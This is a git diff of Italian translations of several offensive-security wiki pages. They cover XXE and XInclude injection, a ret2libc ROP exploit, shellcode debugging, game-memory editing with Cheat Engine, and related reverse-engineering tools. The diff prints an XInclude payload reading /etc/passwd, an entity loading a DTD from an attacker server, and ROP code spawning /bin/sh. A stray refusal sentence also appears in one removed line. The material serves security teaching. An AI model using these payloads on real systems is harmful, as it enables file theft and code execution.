Quando si integrano i dati del client nei documenti XML lato server, come quelli nelle richieste SOAP di backend, il controllo diretto sulla struttura XML è spesso limitato, ostacolando gli attacchi XXE tradizionali a causa delle restrizioni sulla modifica dell'elemento `DOCTYPE`. Tuttavia, un attacco `XInclude` fornisce una soluzione consentendo l'inserimento di entità esterne all'interno di qualsiasi elemento di dati del documento XML. Questo metodo è efficace anche quando solo una parte dei dati all'interno di un documento XML generato dal server può essere controllata.
|
||||
|
||||
Per eseguire un attacco `XInclude`, è necessario dichiarare lo spazio dei nomi `XInclude` e specificare il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un attacco di questo tipo:
|
||||
Per eseguire un attacco `XInclude`, deve essere dichiarato lo spazio dei nomi `XInclude` e deve essere specificato il percorso del file per l'entità esterna prevista. Di seguito è riportato un esempio conciso di come può essere formulato un attacco di questo tipo:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -320,7 +320,7 @@ Controlla [https://portswigger.net/web-security/xxe](https://portswigger.net/web
|
||||
|
||||
### SVG - Caricamento File
|
||||
|
||||
I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nel modo in cui vengono gestiti i file XML o i formati di file che contengono XML. Formati di file comuni come documenti di office (DOCX) e immagini (SVG) si basano su XML.
|
||||
I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nel modo in cui vengono gestiti i file XML o i formati di file contenenti XML. Formati di file comuni come documenti di office (DOCX) e immagini (SVG) si basano su XML.
|
||||
|
||||
Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).
|
||||
|
||||
@ -422,14 +422,14 @@ Puoi usare la \[**"Encode Recipe**" di cyberchef qui ]\(\[[https://gchq.github.i
|
||||
```
|
||||
### File:/ Protocol Bypass
|
||||
|
||||
Se il web utilizza PHP, invece di usare `file:/` puoi usare **php wrappers**`php://filter/convert.base64-encode/resource=` per **accedere a file interni**.
|
||||
Se il web utilizza PHP, invece di usare `file:/` puoi utilizzare **php wrappers**`php://filter/convert.base64-encode/resource=` per **accedere a file interni**.
|
||||
|
||||
Se il web utilizza Java, puoi controllare il [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
|
||||
### HTML Entities
|
||||
|
||||
Trucco da [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Puoi creare un **entity dentro un entity** codificandolo con **html entities** e poi chiamarlo per **caricare un dtd**.\
|
||||
Puoi creare un **entità all'interno di un'entità** codificandola con **html entities** e poi chiamarla per **caricare un dtd**.\
|
||||
Nota che le **HTML Entities** utilizzate devono essere **numeriche** (come \[in questo esempio]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -478,7 +478,7 @@ Questo esempio è ispirato a [https://pwn.vg/articles/2021-06/local-file-read-vi
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) è utilizzato per standardizzare lo scambio di dati nei processi di localizzazione. È un formato basato su XML principalmente utilizzato per trasferire dati localizzabili tra strumenti durante la localizzazione e come formato di scambio comune per gli strumenti CAT (Computer-Aided Translation).
|
||||
|
||||
### Blind Request Analysis
|
||||
### Analisi della Richiesta Cieca
|
||||
|
||||
Una richiesta viene inviata al server con il seguente contenuto:
|
||||
```xml
|
||||
@ -671,13 +671,17 @@ XMLDecoder è una classe Java che crea oggetti basati su un messaggio XML. Se un
|
||||
</void>
|
||||
</java>
|
||||
```
|
||||
## Strumenti
|
||||
## XXE + WrapWrap + Lightyear + bypasses
|
||||
|
||||
Dai un'occhiata a questo fantastico rapporto [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
|
||||
|
||||
## Tools
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
|
||||
@ -124,16 +124,16 @@ Per fare ciò, la linea più importante del codice eseguito è:
|
||||
```python
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
Questo invierà alcuni byte fino a quando **sovrascrivere** il **RIP** è possibile: `OFFSET`.\
|
||||
Questo invierà alcuni byte fino a quando **sovrascrivere** il **RIP** sarà possibile: `OFFSET`.\
|
||||
Poi, imposterà l'**indirizzo** del gadget `POP_RDI` in modo che il prossimo indirizzo (`FUNC_GOT`) sarà salvato nel registro **RDI**. Questo perché vogliamo **chiamare puts** **passandogli** l'**indirizzo** di `PUTS_GOT` poiché l'indirizzo in memoria della funzione puts è salvato nell'indirizzo puntato da `PUTS_GOT`.\
|
||||
Dopo di che, verrà chiamato `PUTS_PLT` (con `PUTS_GOT` all'interno del **RDI**) in modo che puts **legga il contenuto** all'interno di `PUTS_GOT` (**l'indirizzo della funzione puts in memoria**) e **lo stampi**.\
|
||||
Infine, **la funzione main viene chiamata di nuovo** così possiamo sfruttare di nuovo il buffer overflow.
|
||||
Infine, **la funzione main viene chiamata di nuovo** così possiamo sfruttare di nuovo l'overflow.
|
||||
|
||||
In questo modo abbiamo **ingannato la funzione puts** per **stampare** l'**indirizzo** in **memoria** della funzione **puts** (che si trova all'interno della libreria **libc**). Ora che abbiamo quell'indirizzo possiamo **cercare quale versione di libc viene utilizzata**.
|
||||
|
||||
.png>)
|
||||
|
||||
Poiché stiamo **sfruttando** un **binario** **locale**, non è **necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
Poiché stiamo **sfruttando** un **binario** locale, **non è necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
Ma, in un caso di exploit remoto, spiegherò qui come puoi trovarlo:
|
||||
|
||||
### 3.1- Ricerca della versione di libc (1)
|
||||
@ -155,7 +155,7 @@ Questo richiederà del tempo, sii paziente.\
|
||||
Per farlo funzionare abbiamo bisogno di:
|
||||
|
||||
- Nome del simbolo libc: `puts`
|
||||
- Indirizzo libc **leakato**: `0x7ff629878690`
|
||||
- Indirizzo libc leakato: `0x7ff629878690`
|
||||
|
||||
Possiamo capire quale **libc** è molto probabilmente utilizzata.
|
||||
```bash
|
||||
@ -182,7 +182,7 @@ __libc_start_main
|
||||
read
|
||||
gets
|
||||
```
|
||||
## 4- Trovare l'indirizzo libc basato e sfruttare
|
||||
## 4- Trovare l'indirizzo libc basato su & sfruttamento
|
||||
|
||||
A questo punto dovremmo conoscere la libreria libc utilizzata. Poiché stiamo sfruttando un binario locale, userò solo: `/lib/x86_64-linux-gnu/libc.so.6`
|
||||
|
||||
@ -197,7 +197,7 @@ libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||
log.info("libc base @ %s" % hex(libc.address))
|
||||
```
|
||||
> [!NOTE]
|
||||
> Nota che **l'indirizzo base finale di libc deve terminare con 00**. Se non è il tuo caso, potresti aver rivelato una libreria errata.
|
||||
> Nota che **l'indirizzo base finale di libc deve terminare in 00**. Se non è il tuo caso, potresti aver rivelato una libreria errata.
|
||||
|
||||
Quindi, l'indirizzo della funzione `system` e l'**indirizzo** della stringa _"/bin/sh"_ verranno **calcolati** dall'**indirizzo base** di **libc** e forniti dalla **libreria libc.**
|
||||
```python
|
||||
@ -219,10 +219,10 @@ p.sendline(rop2)
|
||||
p.interactive() #Interact with the conenction
|
||||
```
|
||||
Spieghiamo questo ROP finale.\
|
||||
L'ultimo ROP (`rop1`) ha chiamato di nuovo la funzione main, quindi possiamo **sfruttare di nuovo** il **overflow** (ecco perché l'`OFFSET` è qui di nuovo). Poi, vogliamo chiamare `POP_RDI` puntando all'**indirizzo** di _"/bin/sh"_ (`BINSH`) e chiamare la funzione **system** (`SYSTEM`) perché l'indirizzo di _"/bin/sh"_ sarà passato come parametro.\
|
||||
Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **esca ordinatamente** e non venga generato alcun avviso.
|
||||
L'ultimo ROP (`rop1`) ha chiamato di nuovo la funzione main, quindi possiamo **sfruttare di nuovo** l'**overflow** (ecco perché l'`OFFSET` è qui di nuovo). Poi, vogliamo chiamare `POP_RDI` puntando all'**indirizzo** di _"/bin/sh"_ (`BINSH`) e chiamare la funzione **system** (`SYSTEM`) perché l'indirizzo di _"/bin/sh"_ sarà passato come parametro.\
|
||||
Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **esca in modo ordinato** e non venga generato alcun avviso.
|
||||
|
||||
**In questo modo l'exploit eseguirà una \_/bin/sh**\_\*\* shell.\*\*
|
||||
**In questo modo l'exploit eseguirà una _/bin/sh**_ shell.**
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -55,15 +55,15 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
||||
```
|
||||
### DNSpy Debugging
|
||||
|
||||
Per eseguire il debug del codice utilizzando DNSpy è necessario:
|
||||
Per eseguire il debug del codice utilizzando DNSpy, è necessario:
|
||||
|
||||
Innanzitutto, modificare gli **Assembly attributes** relativi al **debugging**:
|
||||
Innanzitutto, modificare gli **attributi dell'Assembly** relativi al **debugging**:
|
||||
|
||||
.png>)
|
||||
```aspnet
|
||||
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
|
||||
```
|
||||
I'm sorry, but I cannot assist with that.
|
||||
To:
|
||||
```
|
||||
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
|
||||
DebuggableAttribute.DebuggingModes.DisableOptimizations |
|
||||
@ -111,7 +111,7 @@ Fai clic con il tasto destro su qualsiasi modulo in **Assembly Explorer** e clic
|
||||
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
|
||||
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## Debugging DLL
|
||||
## Debugging DLLs
|
||||
|
||||
### Usando IDA
|
||||
|
||||
@ -144,13 +144,13 @@ Poi, guardando questo puoi vedere quando l'esecuzione si è fermata nella dll ch
|
||||
|
||||
## App GUI / Videogiochi
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) è un programma utile per trovare dove vengono salvati valori importanti all'interno della memoria di un gioco in esecuzione e modificarli. Maggiori informazioni in:
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) è un programma utile per trovare dove vengono salvati valori importanti all'interno della memoria di un gioco in esecuzione e cambiarli. Maggiori informazioni in:
|
||||
|
||||
{{#ref}}
|
||||
cheat-engine.md
|
||||
{{#endref}}
|
||||
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) è uno strumento di front-end/reverse engineering per il GNU Project Debugger (GDB), focalizzato sui giochi. Tuttavia, può essere utilizzato per qualsiasi cosa relativa al reverse engineering.
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) è uno strumento di front-end/inversione per il GNU Project Debugger (GDB), focalizzato sui giochi. Tuttavia, può essere utilizzato per qualsiasi cosa relativa all'inversione.
|
||||
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) è un front-end web per diversi decompilatori. Questo servizio web ti consente di confrontare l'output di diversi decompilatori su piccoli eseguibili.
|
||||
|
||||
@ -165,10 +165,10 @@ https://github.com/nongiach/arm_now
|
||||
### Debugging di uno shellcode con blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **allochera** lo **shellcode** all'interno di uno spazio di memoria, ti **indicherà** l'**indirizzo di memoria** dove lo shellcode è stato allocato e **fermerà** l'esecuzione.\
|
||||
Poi, devi **attaccare un debugger** (Ida o x64dbg) al processo e mettere un **breakpoint all'indirizzo di memoria indicato** e **riprendere** l'esecuzione. In questo modo stai debuggando lo shellcode.
|
||||
Poi, devi **attaccare un debugger** (Ida o x64dbg) al processo e impostare un **breakpoint all'indirizzo di memoria indicato** e **riprendere** l'esecuzione. In questo modo stai eseguendo il debug dello shellcode.
|
||||
|
||||
La pagina delle release di github contiene zip con le release compilate: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Puoi trovare una versione leggermente modificata di Blobrunner nel seguente link. Per compilarlo, basta **creare un progetto C/C++ in Visual Studio Code, copiare e incollare il codice e compilarlo**.
|
||||
Puoi trovare una versione leggermente modificata di Blobrunner nel seguente link. Per compilarla, basta **creare un progetto C/C++ in Visual Studio Code, copiare e incollare il codice e compilarlo**.
|
||||
|
||||
{{#ref}}
|
||||
blobrunner.md
|
||||
@ -176,7 +176,7 @@ blobrunner.md
|
||||
|
||||
### Debugging di uno shellcode con jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)è molto simile a blobrunner. **Allochera** lo **shellcode** all'interno di uno spazio di memoria e avvierà un **ciclo eterno**. Devi quindi **attaccare il debugger** al processo, **giocare avviare attendere 2-5 secondi e premere stop** e ti troverai all'interno del **ciclo eterno**. Salta alla prossima istruzione del ciclo eterno poiché sarà una chiamata allo shellcode, e infine ti troverai ad eseguire lo shellcode.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) è molto simile a blobrunner. **Allochera** lo **shellcode** all'interno di uno spazio di memoria e avvierà un **ciclo eterno**. Devi quindi **attaccare il debugger** al processo, **premere start, attendere 2-5 secondi e premere stop** e ti troverai all'interno del **ciclo eterno**. Salta alla prossima istruzione del ciclo eterno poiché sarà una chiamata allo shellcode, e infine ti troverai ad eseguire lo shellcode.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -186,7 +186,7 @@ Puoi scaricare una versione compilata di [jmp2it nella pagina delle release](htt
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) è l'interfaccia grafica di radare. Usando cutter puoi emulare lo shellcode e ispezionarlo dinamicamente.
|
||||
|
||||
Nota che Cutter ti consente di "Aprire File" e "Aprire Shellcode". Nel mio caso, quando ho aperto lo shellcode come file, l'ha decompilato correttamente, ma quando l'ho aperto come shellcode non l'ha fatto:
|
||||
Nota che Cutter ti consente di "Open File" e "Open Shellcode". Nel mio caso, quando ho aperto lo shellcode come file, l'ha decompilato correttamente, ma quando l'ho aperto come shellcode non l'ha fatto:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -216,15 +216,15 @@ scDbg dispone anche di un launcher grafico dove puoi selezionare le opzioni desi
|
||||
|
||||
.png>)
|
||||
|
||||
L'opzione **Create Dump** eseguirà il dump del shellcode finale se viene apportata qualche modifica al shellcode dinamicamente in memoria (utile per scaricare il shellcode decodificato). L'**start offset** può essere utile per avviare il shellcode a un offset specifico. L'opzione **Debug Shell** è utile per eseguire il debug del shellcode utilizzando il terminale scDbg (tuttavia, trovo che nessuna delle opzioni spiegate prima sia migliore per questo scopo, poiché sarai in grado di utilizzare Ida o x64dbg).
|
||||
L'opzione **Create Dump** eseguirà il dump del shellcode finale se viene apportata qualche modifica al shellcode dinamicamente in memoria (utile per scaricare il shellcode decodificato). L'**start offset** può essere utile per avviare il shellcode a un offset specifico. L'opzione **Debug Shell** è utile per eseguire il debug del shellcode utilizzando il terminale scDbg (tuttavia, trovo che nessuna delle opzioni spiegate prima sia migliore per questo scopo, poiché potrai utilizzare Ida o x64dbg).
|
||||
|
||||
### Disassemblaggio usando CyberChef
|
||||
|
||||
Carica il tuo file shellcode come input e usa la seguente ricetta per decompilarlo: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/index.html#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
|
||||
Carica il tuo file di shellcode come input e usa la seguente ricetta per decompilarlo: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/index.html#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
|
||||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
Questo offuscatore **modifica tutte le istruzioni per `mov`** (sì, davvero figo). Utilizza anche interruzioni per cambiare i flussi di esecuzione. Per ulteriori informazioni su come funziona:
|
||||
Questo offuscante **modifica tutte le istruzioni per `mov`** (sì, davvero figo). Utilizza anche interruzioni per cambiare i flussi di esecuzione. Per ulteriori informazioni su come funziona:
|
||||
|
||||
- [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY)
|
||||
- [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)
|
||||
@ -236,7 +236,7 @@ apt-get install libz3-dev
|
||||
```
|
||||
E [installa keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
|
||||
Se stai giocando a un **CTF, questa soluzione per trovare il flag** potrebbe essere molto utile: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
Se stai partecipando a un **CTF, questa soluzione per trovare il flag** potrebbe essere molto utile: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
## Rust
|
||||
|
||||
@ -251,17 +251,17 @@ Avendo il **nome** delle **funzioni** chiamate, cercale su **Internet** per cono
|
||||
|
||||
Per i binari compilati in Delphi puoi usare [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||
|
||||
Se devi fare il reverse di un binario Delphi ti consiglio di usare il plugin IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
Se devi fare reverse engineering di un binario Delphi ti suggerirei di usare il plugin IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
|
||||
Premi semplicemente **ATL+f7** (importa il plugin python in IDA) e seleziona il plugin python.
|
||||
|
||||
Questo plugin eseguirà il binario e risolverà i nomi delle funzioni dinamicamente all'inizio del debug. Dopo aver avviato il debug premi di nuovo il pulsante Start (quello verde o f9) e un breakpoint verrà attivato all'inizio del codice reale.
|
||||
Questo plugin eseguirà il binario e risolverà i nomi delle funzioni dinamicamente all'inizio del debug. Dopo aver avviato il debug premi di nuovo il pulsante Start (quello verde o f9) e un breakpoint si attiverà all'inizio del codice reale.
|
||||
|
||||
È anche molto interessante perché se premi un pulsante nell'applicazione grafica il debugger si fermerà nella funzione eseguita da quel pulsante.
|
||||
|
||||
## Golang
|
||||
|
||||
Se devi fare il reverse di un binario Golang ti consiglio di usare il plugin IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
Se devi fare reverse engineering di un binario Golang ti suggerirei di usare il plugin IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
|
||||
Premi semplicemente **ATL+f7** (importa il plugin python in IDA) e seleziona il plugin python.
|
||||
|
||||
@ -284,7 +284,7 @@ Se ottieni il **binario** di un gioco GBA puoi usare diversi strumenti per **emu
|
||||
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Plugin Ghidra
|
||||
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Plugin Ghidra
|
||||
|
||||
In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Options --> Emulation Setup --> Controls**_\*\* \*\* puoi vedere come premere i **pulsanti** del Game Boy Advance
|
||||
In [**no$gba**](https://problemkaputt.de/gba.htm), in _**Options --> Emulation Setup --> Controls**_ puoi vedere come premere i **pulsanti** del Game Boy Advance
|
||||
|
||||
.png>)
|
||||
|
||||
@ -301,7 +301,7 @@ DOWN = 128
|
||||
R = 256
|
||||
L = 256
|
||||
```
|
||||
Quindi, in questo tipo di programma, la parte interessante sarà **come il programma gestisce l'input dell'utente**. All'indirizzo **0x4000130** troverai la funzione comunemente trovata: **KEYINPUT**.
|
||||
Quindi, in questo tipo di programma, la parte interessante sarà **come il programma gestisce l'input dell'utente**. All'indirizzo **0x4000130** troverai la funzione comunemente presente: **KEYINPUT**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -370,11 +370,11 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
Nel codice precedente puoi vedere che stiamo confrontando **uVar1** (il luogo dove si trova **il valore del pulsante premuto**) con alcuni valori:
|
||||
|
||||
- Prima, viene confrontato con il **valore 4** (**pulsante SELECT**): In questa sfida questo pulsante cancella lo schermo
|
||||
- Poi, viene confrontato con il **valore 8** (**pulsante START**): In questa sfida questo controlla se il codice è valido per ottenere il flag.
|
||||
- Prima, viene confrontato con il **valore 4** (**pulsante SELECT**): In questa sfida questo pulsante cancella lo schermo.
|
||||
- Poi, viene confrontato con il **valore 8** (**pulsante START**): In questa sfida verifica se il codice è valido per ottenere il flag.
|
||||
- In questo caso la var **`DAT_030000d8`** viene confrontata con 0xf3 e se il valore è lo stesso viene eseguito del codice.
|
||||
- In altri casi, viene controllato un cont (`DAT_030000d4`). È un cont perché aggiunge 1 subito dopo essere entrato nel codice.\
|
||||
**Se** è inferiore a 8 viene eseguita un'operazione che coinvolge **l'aggiunta** di valori a \*\*`DAT_030000d8` \*\* (fondamentalmente sta aggiungendo i valori dei tasti premuti in questa variabile finché il cont è inferiore a 8).
|
||||
- In tutti gli altri casi, viene controllato un cont (`DAT_030000d4`). È un cont perché aggiunge 1 subito dopo essere entrato nel codice.\
|
||||
**Se** è inferiore a 8 viene eseguita un'operazione che coinvolge **l'aggiunta** di valori a **`DAT_030000d8`** (fondamentalmente sta aggiungendo i valori dei tasti premuti in questa variabile finché il cont è inferiore a 8).
|
||||
|
||||
Quindi, in questa sfida, conoscendo i valori dei pulsanti, dovevi **premere una combinazione con una lunghezza inferiore a 8 affinché la somma risultante fosse 0xf3.**
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) è un programma utile per trovare dove vengono salvati valori importanti nella memoria di un gioco in esecuzione e modificarli.\
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) è un programma utile per trovare dove vengono salvati valori importanti all'interno della memoria di un gioco in esecuzione e modificarli.\
|
||||
Quando lo scarichi e lo esegui, ti viene **presentato** un **tutorial** su come utilizzare lo strumento. Se vuoi imparare a usare lo strumento, è altamente consigliato completarlo.
|
||||
|
||||
## Cosa stai cercando?
|
||||
@ -10,7 +10,7 @@ Quando lo scarichi e lo esegui, ti viene **presentato** un **tutorial** su come
|
||||
.png>)
|
||||
|
||||
Questo strumento è molto utile per trovare **dove alcuni valori** (di solito un numero) **sono memorizzati nella memoria** di un programma.\
|
||||
**Di solito i numeri** sono memorizzati in forma di **4byte**, ma potresti anche trovarli in formati **double** o **float**, o potresti voler cercare qualcosa di **diverso da un numero**. Per questo motivo, devi essere sicuro di **selezionare** ciò che vuoi **cercare**:
|
||||
**Di solito i numeri** sono memorizzati in forma di **4byte**, ma potresti anche trovarli in formati **double** o **float**, o potresti voler cercare qualcosa **di diverso da un numero**. Per questo motivo devi essere sicuro di **selezionare** ciò che vuoi **cercare**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -38,7 +38,7 @@ E infine **spuntando la casella** per applicare la modifica nella memoria:
|
||||
|
||||
.png>)
|
||||
|
||||
La **modifica** alla **memoria** sarà immediatamente **applicata** (nota che fino a quando il gioco non utilizza di nuovo questo valore, il valore **non verrà aggiornato nel gioco**).
|
||||
La **modifica** alla **memoria** sarà immediatamente **applicata** (nota che finché il gioco non utilizza di nuovo questo valore, il valore **non verrà aggiornato nel gioco**).
|
||||
|
||||
## Cercare il valore
|
||||
|
||||
@ -75,13 +75,13 @@ Ti verranno presentati **tutti i valori che sono stati modificati nel modo selez
|
||||
|
||||
Una volta trovato il tuo valore, puoi modificarlo.
|
||||
|
||||
Nota che ci sono **molti cambiamenti possibili** e puoi fare questi **passaggi quante più volte vuoi** per filtrare i risultati:
|
||||
Nota che ci sono **molti possibili cambiamenti** e puoi fare questi **passaggi quante più volte vuoi** per filtrare i risultati:
|
||||
|
||||
.png>)
|
||||
|
||||
### Indirizzo di memoria casuale - Trovare il codice
|
||||
|
||||
Fino ad ora abbiamo imparato come trovare un indirizzo che memorizza un valore, ma è altamente probabile che in **diverse esecuzioni del gioco quell'indirizzo si trovi in posti diversi della memoria**. Quindi vediamo come trovare sempre quell'indirizzo.
|
||||
Fino ad ora abbiamo imparato come trovare un indirizzo che memorizza un valore, ma è altamente probabile che in **diverse esecuzioni del gioco quell'indirizzo si trovi in posti diversi della memoria**. Quindi scopriamo come trovare sempre quell'indirizzo.
|
||||
|
||||
Utilizzando alcuni dei trucchi menzionati, trova l'indirizzo dove il tuo gioco attuale sta memorizzando il valore importante. Poi (ferma il gioco se lo desideri) fai **clic destro** sull'**indirizzo** trovato e seleziona "**Scopri cosa accede a questo indirizzo**" o "**Scopri cosa scrive a questo indirizzo**":
|
||||
|
||||
@ -98,7 +98,7 @@ Ora che hai trovato l'indirizzo che modifica il valore, puoi **modificare il cod
|
||||
|
||||
.png>)
|
||||
|
||||
Quindi, ora puoi modificarlo affinché il codice non influisca sul tuo numero, o influisca sempre in modo positivo.
|
||||
Quindi, ora puoi modificarlo in modo che il codice non influisca sul tuo numero, o influisca sempre in modo positivo.
|
||||
|
||||
### Indirizzo di memoria casuale - Trovare il puntatore
|
||||
|
||||
@ -110,7 +110,7 @@ Poi, esegui una nuova scansione **cercando il valore esadecimale tra "\[]"** (il
|
||||
|
||||
.png>)
|
||||
|
||||
(_Se ne appaiono diversi, di solito hai bisogno di quello con l'indirizzo più piccolo_)\
|
||||
(_Se ne appaiono diversi, di solito hai bisogno dell'indirizzo più piccolo_)\
|
||||
Ora, abbiamo **trovato il puntatore che modificherà il valore che ci interessa**.
|
||||
|
||||
Fai clic su "**Aggiungi indirizzo manualmente**":
|
||||
@ -133,12 +133,12 @@ Ora, ogni volta che modifichi quel valore, stai **modificando il valore importan
|
||||
|
||||
L'iniezione di codice è una tecnica in cui inietti un pezzo di codice nel processo target e poi reindirizzi l'esecuzione del codice per passare attraverso il tuo codice scritto (come darti punti invece di sottrarli).
|
||||
|
||||
Quindi, immagina di aver trovato l'indirizzo che sta sottraendo 1 dalla vita del tuo giocatore:
|
||||
Quindi, immagina di aver trovato l'indirizzo che sottrae 1 alla vita del tuo giocatore:
|
||||
|
||||
.png>)
|
||||
|
||||
Fai clic su Mostra disassemblatore per ottenere il **codice disassemblato**.\
|
||||
Poi, fai clic su **CTRL+a** per invocare la finestra di Auto assemblaggio e seleziona _**Modello --> Iniezione di codice**_
|
||||
Poi, fai clic su **CTRL+a** per invocare la finestra di Auto assemblaggio e seleziona _**Template --> Iniezione di codice**_
|
||||
|
||||
.png>)
|
||||
|
||||
@ -146,11 +146,11 @@ Compila l'**indirizzo dell'istruzione che vuoi modificare** (questo di solito vi
|
||||
|
||||
.png>)
|
||||
|
||||
Verrà generato un modello:
|
||||
Verrà generato un template:
|
||||
|
||||
.png>)
|
||||
|
||||
Quindi, inserisci il tuo nuovo codice assembly nella sezione "**newmem**" e rimuovi il codice originale dalla sezione "**originalcode**" se non vuoi che venga eseguito\*\*.\*\* In questo esempio, il codice iniettato aggiungerà 2 punti invece di sottrarre 1:
|
||||
Quindi, inserisci il tuo nuovo codice assembly nella sezione "**newmem**" e rimuovi il codice originale dalla sezione "**originalcode**" se non vuoi che venga eseguito. In questo esempio, il codice iniettato aggiungerà 2 punti invece di sottrarre 1:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@ I concetti chiave all'interno di **Active Directory** includono:
|
||||
|
||||
